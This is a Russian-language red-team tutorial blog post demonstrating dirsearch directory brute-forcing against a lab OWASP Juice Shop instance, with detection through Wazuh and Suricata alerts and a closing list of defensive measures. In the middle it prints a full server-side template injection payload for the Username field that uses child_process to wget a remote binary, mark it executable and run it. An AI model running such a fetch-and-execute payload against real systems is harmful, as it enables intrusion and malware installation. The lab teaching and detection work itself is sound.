Light mode

Анализ безопасности веб-приложений с использованием утилиты dirsearch

  • #RedTeams

Мы начинаем серию статей, посвященных утилитам red team для тестирования безопасности приложений. Рассмотрим популярные инструменты, их функции, примеры атак и способы защиты. Сегодня поговорим о dirsearch

dirsearch — это инструмент командной строки для автоматизированного сканирования веб-серверов. С его помощью можно искать скрытые директории и файлы, исследовать защиту веб-приложений и проверять конфигурации серверов. dirsearch часто применяется в рамках пентестов, но злоумышленники тоже не обходят его стороной. 

Мы рассмотрим пример атаки с использованием этого инструмента. Попробуем реализовать на тестовом стенде типовой киллчейн и обсудим, как защититься от подобных угроз.

Рисунок 1. Пример атаки с использованием dirsearch

Изучаем тестовый стенд

Итак, у нас есть тестовая среда с несколькими виртуальными машинами (ВМ) на Linux. Для отслеживания и анализа событий будем использовать открытую SIEM-систему Wazuh и правила Suricata. Топология сети представлена на рисунке 2.

Рисунок 2. Конфигурация тестового стенда 

Рассмотрим первое устройство — Victim. Это виртуальная машина на сервере Debian 12 с IP-адресом 192.168.163.157. На ней мы развернем веб-приложение OWASP Juice Shop. 

Рисунок 3. Сервер Victim

Чтобы посмотреть на наше веб-приложение, переходим по адресу 192.168.163.157:3000. Там находится страница онлайн-магазина, на которой мы будем искать уязвимости (см. рис. 4).

Рисунок 4. Онлайн-магазин OWASP Juice Shop

Далее идет Attacker — устройство, с которого мы будем атаковать веб-приложение. Это ВМ на Kali Linux c IP-адресом 192.168.163.158, там будет работать dirsearch.

Рисунок 5. Attacker 

Еще одно устройство — ВМ на Astra Linux с IP-адресом 192.168.163.159. Это машина, имитирующая клиента для веб-сервиса.

Рисунок 6. ВМ на Astra Linux 

Наконец, у нас есть машина на Debian 11, на которой развернута Wazuh SIEM (IP-адрес — 192.168.163.153). Мы подключим к ней остальные устройства, чтобы анализировать логи и следить за атакой.   

Рисунок 7. ВМ, на которой развернута SIEM-система

Несколько слов о SIEM-системе

Для начала изучим интерфейс Wazuh. На главной странице отображается количество агентов, которые отправляют логи в систему. В нашем случае их два: Attacker и Victim (см. рис. 8).

Рисунок 8. Интерфейс Wazuh

На вкладке «Агенты» можно узнать, в какое время были активны устройства и когда их выключили (или же отключили отправку логов). Это полезно для выявления аномальной активности.

Рисунок 9. Активность агентов 

На вкладке «События» отражены равила и оповещения безопасности (см. рис. 10).

Рисунок 10. События безопасности

Для удобства можно выставить фильтры: например, чтобы видеть только сетевые алерты. Выбираем правила Suricata, с их помощью мы будем отслеживать атаку (см. рис. 11).

Рисунок 11. Правила Suricata

Устанавливаем dirsearch

dirsearch по умолчанию входит в Kali Linux. На случай, если вы пользуетесь другим дистрибутивом, даем краткую инструкцию по установке на примере Ubuntu.

  1. Убедитесь, что у вас есть Git

Установить утилиту можно с помощью команд sudo apt-get update; sudo apt-get install git

  1. Клонируйте репозиторий dirsearch 

git clone <https://github.com/maurosoria/dirsearch.git>

  1. Перейдите в клонированную директорию 

cd dirsearch

  1. Убедитесь, что у вас установлен Python, и установите зависимости

sudo pip install -r requirements.txt

Если у вас не установлен pip, используйте команду sudo apt-get install python3-pip

  1. Готово! Запускайте dirsearch

python3 dirsearch.py

Перебираем директории

Запускаем ее с помощью команды python3 dirsearch.py. Используем базовый синтаксис dirsearch [-u <url>] [options] и вводим команду для поиска скрытых директорий в нашем веб-приложении: dirsearch -u http://192.168.163.157:3000.

Рисунок 12. Поиск скрытых директорий 

В ответ получаем список директорий, однако не все из них доступны. Все зависит от статуса конкретного ресурса, например:

  • 200: ok (запрос успешно выполнен); 
  • 301: moved permanently (ресурс был перемещен);
  • 500: internal server error (внутренняя ошибка сервера); 
  • 503: service unavailable (сервер временно недоступен).

Находим в списке директорию /ftp со статусом «200». Это значит, что мы можем в нее попасть (см. рис. 13).

Рисунок 13. Статус директории /ftp

Переходим в браузер, добавляем к адресу /ftp и получаем доступ к ценному ресурсу!

Рисунок 14. Содержимое директории /ftp

Изучаем содержимое /ftp и заходим в папку quarantine. Обычно она используется для изоляции вредоносных или потенциально опасных объектов. Находим несколько файлов, скачиваем и изучаем их содержимое. Бинго: в них содержатся ссылки на ВПО, которые мы можем использовать для развития атаки (см. рис. 15 и рис. 16).

Рисунок 15. Файлы в папке quarantine
Рисунок 16. Ссылка на ВПО в одном из файлов

Как оптимизировать запросы в dirsearch

Чтобы делать более эффективные запросы, нужно использовать подходящий словарь и флаги: они облегчат восприятие информации и ускорят процесс анализа. Например:

  • u, --url: целевой URL;
  • e, --extensions: задает расширения файлов для сканирования;
  • w, --wordlist: показывает путь к файлу;
  • --exclude-status: исключает определенные директории;
  • f, --full-url: используется, если url включает полный путь (включая параметры get-запроса);
  • -r, --recursive: позволяет рекурсивно сканировать найденные директории;
  • --delay: создает задержку между запросами (чтобы сервер не упал).

С помощью этих флагов можно создать более эффективный запрос: 

dirsearch http://192.168.163.157:3000 --exclude-status 500,403,401 -e php,txt -w directory-list-2.3-small.txt -r —delay 2.

Рисунок 17. Оптимизированный запрос

Отметим, что сканирование может длиться долго: все зависит от размера словаря. Чем он больше, тем выше шанс найти нужную директорию. Однако не стоит забывать, что активный перебор генерирует массу трафика, которую легко отследить (например, с помощью Wireshark)

Развиваем атаку 

Продолжаем изучать веб-приложение и заходим на страницу с профилем пользователя. На ней есть поле Username: пробуем ввести значение #{1+1} и получаем имя пользователя — «2». Это говорит о том, что поле настроено некорректно и содержит RCE-уязвимость (см. рис. 18).

Рисунок 18. Уязвимость на странице профиля

Значит, мы можем создать полезную нагрузку, которая будет злоупотреблять отсутствием инкапсуляции у JavaScript-global.process-объекта. Попробуем выполнить динамическую загрузку библиотеки: она начнет на сервере процесс, который загрузит и запустит ВПО. Берем ссылку из файла, который нашли в папке quarantine, и вводим в Username команду: 

#{global.process.mainModule.require('child_process').exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware')}.

Из чего состоит код:

  • global.process: обращение к объекту process в среде выполнения Node.js;
  • mainModule: ссылка на модуль, который запускает скрипт (главный модуль);
  • require('child_process'): запрос к модулю child_process, который предоставляет функционал для работы с дочерними процессами.
  • exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware'): запуск команды wget для загрузки файла juicy_malware_linux_64 с GitHub, а также установки прав на выполнение и запуск файла.
Рисунок 19. Вводим код в поле Username

Готово: осталось перейти на доску с заданиями и убедиться, что атака прошла успешно (см рис. 20).

Рисунок 20. Задача выполнена!

На рисунке 20 мы видим, что система засчитала нам SSTI, a не RCE. В чем их отличие: 

  • SSTI (Server-Side Template Injection): атака, в рамках которой злоумышленник внедряет код в шаблоны на стороне сервера для динамической генерации контента (например, HTML). Направлена именно на систему шаблонов;
  • RCE (Remote Code Execution): более широкий термин, подразумевающий возможность выполнения вредоносного кода на удаленной системе. RCE включает в себя SSTI, но не ограничивается шаблонами

Анализируем данные SIEM-системы

Самое время заглянуть в SIEM и проверить, какую подозрительную активность зафиксировала система. Переходим в раздел с событиями безопасности и изучаем алерты Suricata (см. рис. 21)

Рисунок 21. Алерты Suricata

Разберем типы оповещений, которые появились во время атаки. 

  1. ET INFO Dotted Quad Host ZIP Request

Информационное сообщение о запросе к хосту с использованием ZIP-архива. Это может быть как легитимная активность, так и попытка загрузки или манипуляции с архивом.

  1. ET WEB_SPECIFIC_APPS Possible JBoss JMX Console Beanshell Deployer WAR Upload and Deployment Exploit Attempt

Срабатывание сигнатуры может указывать на попытку эксплуатации уязвимости в JBoss JMX Console, связанной с развертыванием WAR-файла.

  1. ET WEB_SPECIFIC_APPS Oracle JSF2 Path Traversal Attempt

Обнаружение Path Traversal на Oracle JSF2. Может указывать на попытку получить несанкционированный доступ к файловой системе.

  1. ET INFO Dotted Quad Host TGZ Request

Информационное сообщение о запросе к хосту с использованием TGZ-архива. Может быть связано с попыткой манипуляции архивом или архивированными данными.

  1. ET WEB_SERVER Tilde in URI — potential .php~ source disclosure vulnerability

Срабатывание сигнатуры указывает на возможное открытие исходного кода PHP-файла с использованием "tilde" (~) в URL.

  1. GPL EXPLOIT iissamples access

Обнаружение доступа к iissamples. Может быть признаком попытки эксплуатации уязвимостей в примерах Microsoft IIS.

  1. GPL EXPLOIT .htr access

Обнаружение доступа к файлам с расширением .htr. Может указывать на эксплуатацию уязвимостей, связанных с .htr-файлами в Microsoft IIS.

  1. GPL EXPLOIT iisadmpwd attempt

Попытка доступа к iisadmpwd. Может указывать на эксплуатацию уязвимостей, связанных с административными функциями IIS.

  1. ET WEB_SERVER /etc/passwd Detected in URI

Попытка доступа к файлу /etc/passwd. Может быть признаком атаки на Linux-систему для получения информации о пользователях.

  1. ET EXPLOIT Possible SAP NetWeaver CVE-2020-6287 Probe

Попытка эксплуатации уязвимости SAP NetWeaver (CVE-2020-6287).

  1. GPL EXPLOIT administrators.pwd access

Обнаружение доступа к файлу administrators.pwd. Может указывать на эксплуатацию уязвимостей, связанных с файлами, где содержатся пароли администраторов.

  1. ET INFO Request to Hidden Environment File — Inbound

Информационное сообщение о входящем запросе к скрытому файлу окружения. Может быть признаком сканирования.
 

Рисунок 22. Аналитика в SIEM-системе

Как защититься от подобных атак

Напоследок расскажем о базовых мерах защиты:

  • убедитесь, что у ваших пользователей сильные пароли, и используйте 2FA;
  • реализуйте механизм, ограничивающий число попыток входа в систему, чтобы снизить риск успешного перебора;
  • ведите и отслеживайте журнал неудачных попыток входа в систему для выявления подозрительной активности;
  • включите проверку CAPTCHA после нескольких неудачных попыток входа в систему, чтобы уменьшить эффективность автоматизированных атак;
  • регулярно анализируйте журналы событий веб-приложений;
  • убедитесь, что права доступа к файлам и каталогам на сервере корректно разграничены, и давайте пользователям доступ только к необходимым им ресурсам;
  • используйте IDS и WAF для автоматического обнаружения и предотвращения атак;
  • регулярно обновляйте веб-приложения и все зависимости;
  • придерживайтесь принципа наименьших привилегий и ограничивайте доступ к системным ресурсам

Мы дěлаем Positive Research → для ИБ-экспертов, бизнеса и всех, кто интересуется ✽ {кибербезопасностью}